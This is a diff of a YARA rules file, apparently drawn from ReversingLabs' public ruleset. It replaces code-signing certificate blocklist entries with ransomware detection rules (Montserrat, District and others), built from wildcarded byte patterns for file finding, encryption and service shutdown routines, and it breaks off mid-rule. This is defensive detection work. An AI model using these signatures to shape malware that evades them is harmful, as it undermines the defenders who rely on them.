?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 + } + $find_files_p2 = { + 81 38 ?? ?? ?? ?? 75 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 + F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? + 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? + 81 78 ?? ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 4D ?? + 0F 43 CE 83 7D ?? ?? 75 ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 01 3B 02 75 ?? 83 C1 ?? + 83 C2 ?? 83 EF ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ?? + 83 FB ?? 8D 45 ?? 0F 43 C6 83 7D ?? ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? + ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 4D ?? 0F 43 CE 83 7D + ?? ?? 75 ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EF + ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? B0 ?? EB ?? 32 C0 84 C0 75 + ?? 8D 85 ?? ?? ?? ?? 50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? + ?? 8B CC 8B D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 + C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? + 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? + ?? 83 C4 ?? 8B BD ?? ?? ?? ?? C6 45 ?? ?? 83 FB ?? 72 ?? 43 8B C6 81 FB ?? ?? ?? ?? + 72 ?? 8B 76 ?? 83 C3 ?? 2B C6 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 53 56 E8 ?? ?? ?? + ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF + 15 + } + $encrypt_files_p1 = { + 88 84 05 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 7C ?? 33 FF 33 F6 8B C6 8A 9C 35 ?? ?? ?? ?? + 99 F7 7D ?? 0F B6 04 0A 03 F8 0F B6 CB 03 F9 81 E7 ?? ?? ?? ?? 79 ?? 4F 81 CF ?? ?? + ?? ?? 47 8A 84 3D ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 88 84 35 ?? ?? ?? ?? 46 88 9C 3D ?? + ?? ?? ?? 81 FE ?? ?? ?? ?? 7C ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 + E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 0F 85 ?? ?? ?? ?? 8B 4D ?? 32 D2 E8 ?? ?? ?? ?? + 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? + 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D + ?? 42 8B C1 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 + F8 ?? 0F 87 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 + ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 89 BD ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 33 F6 + 53 E8 ?? ?? ?? ?? 83 C4 ?? 88 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 + } + $encrypt_files_p2 = { + 0F BE 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 46 83 C4 ?? 83 FE ?? 7C ?? 53 E8 ?? ?? ?? + ?? 83 C4 ?? 88 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 + 7D ?? ?? 8D 4D ?? 8A 85 ?? ?? ?? ?? 0F 43 4D ?? C7 45 ?? ?? ?? ?? ?? 88 01 C6 41 ?? + ?? 33 C9 8B 75 ?? 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 4D ?? 83 7D ?? ?? 8B F8 0F 43 4D ?? 56 57 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F BE + 07 FF B5 ?? ?? ?? ?? 35 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B + BD ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? + 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 45 ?? 83 7D ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 32 D2 C7 45 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 8D 50 ?? 8B C1 + 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? + ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? + ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $misc_checks_p1 = { + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 + F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? + ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F + 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + } + $misc_checks_p2 = { + 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? + ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? E9 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AFINA Fintek" and pe.signatures [ i ] . serial == "62:af:28:a7:65:7b:a8:ab:10:fa:8e:2d:47:25:0c:69" and 1404172799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $misc_checks_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_04C8Eca7243208A110Dea926C7Ad89Ce : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Montserrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing GovRAT malware." + description = "Yara rule that detects Montserrat ransomware." author = "ReversingLabs" - id = "484d0aa6-0447-5e60-946b-89b01a5e43dd" - date = "2020-08-05" - modified = "2023-11-08" + id = "deeb5f1a-1329-5964-93e1-8ca6a20fcd89" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1472-L1488" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Montserrat.yara#L1-L118" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0012436e83704397026a8b2e500e5d61915e0f4c8ad4100176e200a975562e8f" + logic_hash = "c8782a8cb2b87e76ff1f804ee8affd01405827d0914ea725bb0e9ddace7dde10" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Montserrat" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B + 7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ?? + 03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? + ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F + 5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? + ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ?? + 89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ?? + ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ?? + 8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ?? + 8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7 + } + $find_files_p2 = { + EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 + 57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ?? + ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD + 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85 + ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ?? + ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D + ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 + ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? + 83 C4 ?? E9 + } + $encrypt_files_p1 = { + 8B FF 55 8B EC 83 EC ?? 53 56 57 FF 75 ?? 8D 45 ?? FF 75 ?? FF 75 ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 8D 7D ?? 8B F0 6A ?? 59 F3 A5 83 CE ?? 39 75 ?? 75 ?? E8 ?? ?? ?? ?? 83 + 20 ?? 8B 45 ?? 89 30 E8 ?? ?? ?? ?? 8B 00 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 89 + 03 3B C6 75 ?? E8 ?? ?? ?? ?? 83 20 ?? 89 33 E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? + 8B 45 ?? 8D 75 ?? 83 65 ?? ?? 33 C9 41 C7 45 ?? ?? ?? ?? ?? 83 EC ?? 89 08 8B 45 ?? + C1 E8 ?? F7 D0 23 C1 6A ?? 59 89 45 ?? 8B FC 8D 45 ?? 50 FF 75 ?? F3 A5 E8 ?? ?? ?? + ?? 8B F8 83 C4 ?? 89 7D ?? BA ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 4D ?? 8B C1 23 C2 3B C2 + 75 ?? F6 45 ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 81 E1 ?? ?? ?? ?? 8D 75 ?? 89 4D ?? 6A ?? + 59 8B FC 50 FF 75 ?? F3 A5 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 89 7D ?? 83 FF ?? 75 ?? 8B + 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 80 64 08 ?? ?? FF 15 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? + ?? ?? ?? 8B F0 56 E8 ?? ?? ?? ?? 59 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 57 8B 04 + 85 ?? ?? ?? ?? 80 64 08 ?? ?? FF 15 ?? ?? ?? ?? 85 F6 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? + ?? C7 00 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8A 45 ?? 0C ?? EB ?? 83 F8 ?? 8A + } + $encrypt_files_p2 = { + 45 ?? 75 ?? 0C ?? 57 FF 33 88 45 ?? E8 ?? ?? ?? ?? 8A 55 ?? 59 59 8B 0B 80 CA ?? 8B + C1 88 55 ?? 83 E1 ?? C1 F8 ?? 6B C9 ?? 88 55 ?? 8B 04 85 ?? ?? ?? ?? 88 54 08 ?? 8B + 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? F6 45 ?? ?? 8B 04 85 ?? ?? ?? ?? C6 44 08 ?? ?? + 74 ?? FF 33 E8 ?? ?? ?? ?? 8B F0 59 85 F6 75 ?? 8D 45 ?? C6 45 ?? ?? 50 FF 75 ?? 8D + 75 ?? 83 EC ?? 6A ?? 59 8B FC FF 33 F3 A5 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B F0 + FF 33 E8 ?? ?? ?? ?? 59 8B C6 E9 ?? ?? ?? ?? 8B 03 8B C8 83 E0 ?? C1 F9 ?? 6B D0 ?? + 8A 45 ?? 8B 0C 8D ?? ?? ?? ?? 88 44 11 ?? 8B 0B 8B C1 C1 F8 ?? 83 E1 ?? 6B D1 ?? 8B + 0C 85 ?? ?? ?? ?? 8B 45 ?? C1 E8 ?? 32 44 11 ?? 24 ?? 30 44 11 ?? F6 45 ?? ?? 75 ?? + F6 45 ?? ?? 74 ?? 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 80 4C + 08 ?? ?? 8B 75 ?? B9 ?? ?? ?? ?? 8B C6 23 C1 3B C1 0F 85 ?? ?? ?? ?? F6 45 ?? ?? 74 + ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 81 E6 ?? ?? ?? ?? 89 75 ?? 8D 75 ?? + 6A ?? 59 8B FC 50 FF 75 ?? F3 A5 E8 ?? ?? ?? ?? 8B D0 83 C4 ?? 83 FA ?? 75 ?? FF 15 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ?? + ?? ?? 80 64 08 ?? ?? FF 33 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8B 0B 8B C1 C1 F8 ?? 83 + E1 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 89 54 08 ?? 33 C0 5F 5E 5B 8B E5 5D C3 + } + $shutdown_services_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B F9 8B 75 ?? 8B 1D + ?? ?? ?? ?? FF D3 83 7E ?? ?? 89 45 ?? 72 ?? 8B 36 6A ?? 56 FF 37 FF 15 ?? ?? ?? ?? + 8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? 56 FF 15 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? 8B + 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? + ?? 83 F8 ?? 75 ?? 66 90 FF 77 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A + ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF D3 2B 45 ?? 3B + 47 ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B CF E8 + ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 + } + $shutdown_services_p2 = { + FF 77 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? + 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF D3 2B 45 ?? 3B 47 ?? 0F 87 + ?? ?? ?? ?? 83 7D ?? ?? 75 ?? E9 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 + ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, SINGH ADITYA" and pe.signatures [ i ] . serial == "04:c8:ec:a7:24:32:08:a1:10:de:a9:26:c7:ad:89:ce" and 1404172799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $shutdown_services_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_157C3A4A6Bcf35Cf8453E6B6C0072E1D : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_District : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing GovRAT malware." + description = "Yara rule that detects District ransomware." author = "ReversingLabs" - id = "4bae3fb2-7e30-598e-8708-b985697bf63a" - date = "2020-08-05" - modified = "2023-11-08" + id = "fc6abbc7-66f9-56e6-8106-5f360f25b092" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1490-L1506" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.District.yara#L1-L194" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2a68051ab6d0b967f08e44d91b9f13d75587ea0f16e2a5536ccf5898445e1a58" + logic_hash = "9ce395636fd7719f503726df82998e1ac72e9e80fd7a4534bd2251ac9283af38" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "District" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 + 24 ?? 8B F1 8D 4D ?? 50 E8 ?? ?? ?? ?? 40 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 33 C9 C7 44 + 24 ?? ?? ?? ?? ?? 50 8D 45 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 EC ?? + C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 40 C7 84 24 ?? ?? ?? + ?? ?? ?? ?? ?? 33 C9 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 51 8D 45 ?? 66 89 8C 24 ?? + ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8D + 44 24 ?? 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 40 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 33 C9 C7 44 + 24 ?? ?? ?? ?? ?? 50 8D 44 24 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 EC + ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 33 C9 C7 44 24 + ?? ?? ?? ?? ?? 50 51 8D 44 24 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 50 66 89 44 24 ?? 8D 4C 24 ?? + 8D 45 ?? C7 44 24 ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 56 8D 4C 24 ?? E8 ?? + ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? + ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 66 0F 6E C0 F3 0F E6 C0 C1 E8 ?? F2 0F 58 04 C5 + ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 56 E8 ?? ?? ?? ?? 56 8B D8 + } + $encrypt_files_p2 = { + E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 0F 1F 40 ?? 0F 1F 84 00 + ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 6A ?? A3 ?? ?? ?? ?? 8D 44 24 ?? 50 56 + 53 57 89 0D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 56 FF 74 24 ?? 8B D3 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? F7 D8 6A + ?? 6A ?? 50 57 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 56 FF 74 24 ?? 57 FF 15 ?? ?? + ?? ?? 83 6C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 + FF 15 ?? ?? ?? ?? 83 7C 24 ?? ?? 8D 4C 24 ?? 8D 45 ?? 0F 43 4C 24 ?? 83 7D ?? ?? 51 + 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF 74 + 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 8B 44 24 ?? C7 44 + 24 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0 + C7 44 